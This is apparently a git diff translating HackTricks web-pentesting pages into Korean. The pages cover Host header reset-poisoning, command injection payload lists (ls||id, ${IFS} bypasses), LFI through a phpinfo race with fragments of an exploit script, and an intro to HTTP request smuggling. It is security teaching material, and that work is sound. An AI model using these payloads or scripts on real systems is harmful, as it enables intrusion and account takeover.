|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,75 +1,79 @@
|
|||
# Other Web Tricks
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 우리는 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
### Host header
|
||||
### 호스트 헤더
|
||||
|
||||
백엔드가 **Host header**를 신뢰하여 일부 작업을 수행하는 경우가 여러 번 있습니다. 예를 들어, 비밀번호 재설정을 위한 **도메인으로 그 값을 사용할 수 있습니다**. 따라서 비밀번호를 재설정하는 링크가 포함된 이메일을 받으면 사용되는 도메인은 Host header에 입력한 것입니다. 그러면 다른 사용자의 비밀번호 재설정을 요청하고 도메인을 당신이 제어하는 것으로 변경하여 그들의 비밀번호 재설정 코드를 훔칠 수 있습니다. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
백엔드가 **호스트 헤더**를 신뢰하여 일부 작업을 수행하는 경우가 여러 번 있습니다. 예를 들어, 비밀번호 재설정을 위한 **도메인으로 그 값을 사용할 수 있습니다**. 따라서 비밀번호를 재설정하는 링크가 포함된 이메일을 받으면 사용되는 도메인은 호스트 헤더에 입력한 것입니다. 그러면 다른 사용자의 비밀번호 재설정을 요청하고 도메인을 귀하가 제어하는 것으로 변경하여 그들의 비밀번호 재설정 코드를 훔칠 수 있습니다. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
|
||||
{% hint style="warning" %}
|
||||
사용자가 비밀번호 재설정 링크를 클릭할 때까지 기다릴 필요가 없을 수도 있다는 점에 유의하세요. **스팸 필터나 다른 중개 장치/봇이 이를 클릭하여 분석할 수 있습니다**.
|
||||
사용자가 비밀번호 재설정 링크를 클릭할 때까지 기다릴 필요가 없을 수도 있다는 점에 유의하세요. **스팸 필터나 다른 중개 장치/봇이 이를 클릭하여 분석할 수 있습니다.**
|
||||
{% endhint %}
|
||||
|
||||
### Session booleans
|
||||
### 세션 불리언
|
||||
|
||||
어떤 경우에는 검증을 올바르게 완료하면 백엔드가 **세션의 보안 속성에 "True" 값을 가진 부울을 추가합니다**. 그런 다음 다른 엔드포인트는 해당 검사를 성공적으로 통과했는지 알 수 있습니다.\
|
||||
그러나 **검사를 통과하고** 세션이 보안 속성에서 "True" 값을 부여받으면, **접근 권한이 없어야 하는 동일한 속성에 의존하는 다른 리소스에 접근을 시도할 수 있습니다**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
때때로 일부 검증을 올바르게 완료하면 백엔드가 **세션의 보안 속성에 "True" 값의 불리언을 추가합니다**. 그런 다음 다른 엔드포인트는 해당 검사를 성공적으로 통과했는지 알 수 있습니다.\
|
||||
그러나 **검사를 통과하고** 세션이 보안 속성에서 "True" 값을 부여받으면, **접근 권한이 없어야 하는** 동일한 속성에 의존하는 **다른 리소스에 접근을 시도할 수 있습니다**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
|
||||
### Register functionality
|
||||
### 등록 기능
|
||||
|
||||
이미 존재하는 사용자로 등록해 보세요. 또한 동등한 문자(점, 많은 공백 및 유니코드)를 사용해 보세요.
|
||||
|
||||
### Takeover emails
|
||||
### 이메일 인수
|
||||
|
||||
이메일을 등록한 후, 확인하기 전에 이메일을 변경하세요. 그런 다음, 새로운 확인 이메일이 첫 번째 등록된 이메일로 전송되면, 어떤 이메일도 인수할 수 있습니다. 또는 두 번째 이메일이 첫 번째 이메일을 확인하도록 활성화할 수 있다면, 어떤 계정도 인수할 수 있습니다.
|
||||
이메일을 등록한 후, 확인하기 전에 이메일을 변경하세요. 그런 다음, 새 확인 이메일이 첫 번째 등록된 이메일로 전송되면, 어떤 이메일도 인수할 수 있습니다. 또는 두 번째 이메일이 첫 번째 이메일을 확인하도록 활성화할 수 있다면, 어떤 계정도 인수할 수 있습니다.
|
||||
|
||||
### Access Internal servicedesk of companies using atlassian
|
||||
### Atlassian을 사용하는 회사의 내부 서비스 데스크 접근
|
||||
|
||||
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
|
||||
|
||||
### TRACE method
|
||||
### TRACE 메서드
|
||||
|
||||
개발자는 프로덕션 환경에서 다양한 디버깅 옵션을 비활성화하는 것을 잊을 수 있습니다. 예를 들어, HTTP `TRACE` 메서드는 진단 목적으로 설계되었습니다. 활성화되면 웹 서버는 `TRACE` 메서드를 사용하는 요청에 대해 수신된 정확한 요청을 응답에 에코하여 응답합니다. 이 동작은 종종 무해하지만, 때때로 내부 인증 헤더의 이름과 같은 정보 유출로 이어질 수 있습니다.![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
|
||||
개발자는 프로덕션 환경에서 다양한 디버깅 옵션을 비활성화하는 것을 잊을 수 있습니다. 예를 들어, HTTP `TRACE` 메서드는 진단 목적으로 설계되었습니다. 활성화되면 웹 서버는 `TRACE` 메서드를 사용하는 요청에 대해 수신된 정확한 요청을 응답에 에코하여 응답합니다. 이 동작은 종종 무해하지만 때때로 내부 인증 헤더의 이름과 같은 정보 유출로 이어질 수 있습니다.![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
|
||||
|
||||
![Image for post](https://miro.medium.com/max/1330/1\*wDFRADTOd9Tj63xucenvAA.png)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 우리는 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,22 +15,23 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
## What is command Injection?
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
**명령 주입**은 공격자가 애플리케이션을 호스팅하는 서버에서 임의의 운영 체제 명령을 실행할 수 있도록 허용합니다. 그 결과, 애플리케이션과 모든 데이터가 완전히 손상될 수 있습니다. 이러한 명령의 실행은 일반적으로 공격자가 애플리케이션의 환경 및 기본 시스템에 대한 무단 액세스 또는 제어를 얻을 수 있게 합니다.
|
||||
## 명령 주입이란 무엇인가?
|
||||
|
||||
### Context
|
||||
**명령 주입**은 공격자가 애플리케이션을 호스팅하는 서버에서 임의의 운영 체제 명령을 실행할 수 있도록 허용합니다. 그 결과, 애플리케이션과 그 모든 데이터가 완전히 손상될 수 있습니다. 이러한 명령의 실행은 일반적으로 공격자가 애플리케이션의 환경 및 기본 시스템에 대한 무단 접근 또는 제어를 얻을 수 있게 합니다.
|
||||
|
||||
**입력이 주입되는 위치**에 따라 명령 전에 **인용된 컨텍스트를 종료**해야 할 수도 있습니다(`"` 또는 `'` 사용).
|
||||
### 맥락
|
||||
|
||||
## Command Injection/Execution
|
||||
**입력이 주입되는 위치에 따라** 명령을 실행하기 전에 **인용된 맥락을 종료해야 할 수도 있습니다** (`"` 또는 `'` 사용).
|
||||
|
||||
## 명령 주입/실행
|
||||
```bash
|
||||
#Both Unix and Windows supported
|
||||
ls||id; ls ||id; ls|| id; ls || id # Execute both
|
||||
|
@ -51,7 +52,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
|||
```
|
||||
### **제한** 우회
|
||||
|
||||
리눅스 머신 내에서 **임의의 명령을 실행**하려고 한다면 이 **우회**에 대해 읽어보는 것이 좋습니다:
|
||||
리눅스 머신 내에서 **임의의 명령을 실행**하려고 한다면, 이 **우회**에 대해 읽는 것이 좋습니다:
|
||||
|
||||
{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
|
||||
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
|
||||
|
@ -155,16 +156,16 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
|
||||
오늘 바로 접근하세요:
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
|
|
@ -13,14 +13,22 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
이 취약점을 이용하려면 다음이 필요합니다: **LFI 취약점, phpinfo()가 표시되는 페이지, "file\_uploads = on" 및 서버가 "/tmp" 디렉토리에 쓸 수 있어야 합니다.**
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
이 취약점을 악용하려면: **LFI 취약점, phpinfo()가 표시되는 페이지, "file\_uploads = on" 및 서버가 "/tmp" 디렉토리에 쓸 수 있어야 합니다.**
|
||||
|
||||
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
|
||||
|
||||
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
|
||||
**튜토리얼 HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
|
||||
|
||||
익스플로잇을 수정해야 합니다 ( **=>**를 **=>**로 변경). 그렇게 하려면 다음을 수행할 수 있습니다:
|
||||
익스플로잇을 수정해야 합니다 ( **=>**를 **=>**로 변경). 그렇게 하려면 다음과 같이 할 수 있습니다:
|
||||
```
|
||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
```
|
||||
|
@ -40,7 +48,7 @@ PHP에서 업로드가 허용되면 파일을 업로드하려고 할 때, 이
|
|||
|
||||
**phpinfo()**
|
||||
|
||||
**PHP**는 **4096B**의 버퍼를 사용하며, 버퍼가 **가득 차면** 클라이언트에 **전송**됩니다. 그런 다음 클라이언트는 **많은 큰 요청**(큰 헤더를 사용하여) **php** 리버스 **쉘을 업로드**하고, **phpinfo()의 첫 번째 부분이 반환될 때까지 기다린 후**(임시 파일의 이름이 있는 곳) LFI 취약점을 악용하여 **임시 파일에 접근**하려고 시도할 수 있습니다.
|
||||
**PHP**는 **4096B**의 버퍼를 사용하며, 버퍼가 **가득 차면** 클라이언트에 **전송**됩니다. 그런 다음 클라이언트는 **많은 큰 요청**(큰 헤더를 사용하여) **php** 리버스 **쉘을 업로드**하고, **임시 파일의 이름이 있는 phpinfo()의 첫 번째 부분이 반환될 때까지 기다린 후** LFI 취약점을 악용하여 php 서버가 파일을 삭제하기 전에 **임시 파일에 접근**하려고 시도할 수 있습니다.
|
||||
|
||||
**이름을 브루트포스 시도하기 위한 Python 스크립트 (길이 = 6)**
|
||||
```python
|
||||
|
@ -64,17 +72,25 @@ sys.exit(0)
|
|||
|
||||
print('[x] Something went wrong, please try again')
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,15 +9,23 @@ GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png"
|
|||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드 보기
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 치명적이고 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## 무엇인가
|
||||
|
||||
이 취약점은 **프론트엔드 프록시**와 **백엔드** 서버 간의 **비동기화**로 인해 **공격자**가 HTTP **요청**을 **전송**할 수 있게 되며, 이 요청은 **프론트엔드** 프록시(로드 밸런스/리버스 프록시)에서는 **단일 요청**으로 **해석**되고 **백엔드** 서버에서는 **2개의 요청**으로 **해석**됩니다.\
|
||||
이 취약점은 **프론트엔드 프록시**와 **백엔드** 서버 간의 **비동기화**로 인해 **공격자**가 HTTP **요청**을 **전송**할 수 있게 되며, 이 요청은 **프론트엔드** 프록시(로드 밸런서/리버스 프록시)에서는 **단일 요청**으로 해석되고 **백엔드** 서버에서는 **2개의 요청**으로 해석됩니다.\
|
||||
이로 인해 사용자는 자신의 요청 이후에 백엔드 서버에 도착하는 **다음 요청을 수정**할 수 있습니다.
|
||||
|
||||
### 이론
|
||||
|
@ -33,28 +41,28 @@ GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png"
|
|||
**Transfer-Encoding: chunked**
|
||||
|
||||
> Transfer-Encoding 헤더는 페이로드 본문을 사용자에게 안전하게 전송하는 데 사용되는 인코딩 형식을 지정합니다.\
|
||||
> Chunked는 큰 데이터가 일련의 청크로 전송됨을 의미합니다.
|
||||
> 청크(chunked)는 대량의 데이터가 일련의 청크로 전송됨을 의미합니다.
|
||||
|
||||
### 현실
|
||||
|
||||
**프론트엔드**(로드 밸런스/리버스 프록시)는 _**content-length**_ 또는 _**transfer-encoding**_ 헤더를 **처리**하고 **백엔드** 서버는 **다른** 하나를 **처리**하여 두 시스템 간의 **비동기화**를 유발합니다.\
|
||||
이는 **공격자가 리버스 프록시**에 **하나의 요청을 전송**할 수 있게 하여 **백엔드** 서버가 이를 **2개의 서로 다른 요청으로 해석**하게 할 수 있으므로 매우 치명적일 수 있습니다. 이 기술의 **위험**은 **백엔드** 서버가 **주입된 2번째 요청**을 **다음 클라이언트**에서 온 것처럼 **해석**하고 그 클라이언트의 **실제 요청**이 **주입된 요청**의 **일부**가 된다는 사실에 있습니다.
|
||||
**프론트엔드**(로드 밸런서/리버스 프록시)는 _**content-length**_ 또는 _**transfer-encoding**_ 헤더를 처리하고, **백엔드** 서버는 다른 하나를 처리하여 두 시스템 간의 **비동기화**를 유발합니다.\
|
||||
이는 **공격자가 리버스 프록시**에 하나의 요청을 전송할 수 있게 하여 **백엔드** 서버가 이를 **2개의 서로 다른 요청**으로 해석하게 할 수 있으므로 매우 치명적일 수 있습니다. 이 기술의 **위험**은 **백엔드** 서버가 **주입된 2번째 요청**을 **다음 클라이언트**에서 온 것처럼 해석하고, 그 클라이언트의 **실제 요청**이 **주입된 요청**의 **일부**가 된다는 사실에 있습니다.
|
||||
|
||||
### 특이사항
|
||||
|
||||
HTTP에서 **새 줄 문자는 2바이트로 구성됩니다:**
|
||||
|
||||
* **Content-Length**: 이 헤더는 요청 본문의 **바이트 수**를 나타내기 위해 **10진수**를 사용합니다. 본문은 마지막 문자에서 끝나는 것으로 예상되며, **요청 끝에 새 줄이 필요하지 않습니다**.
|
||||
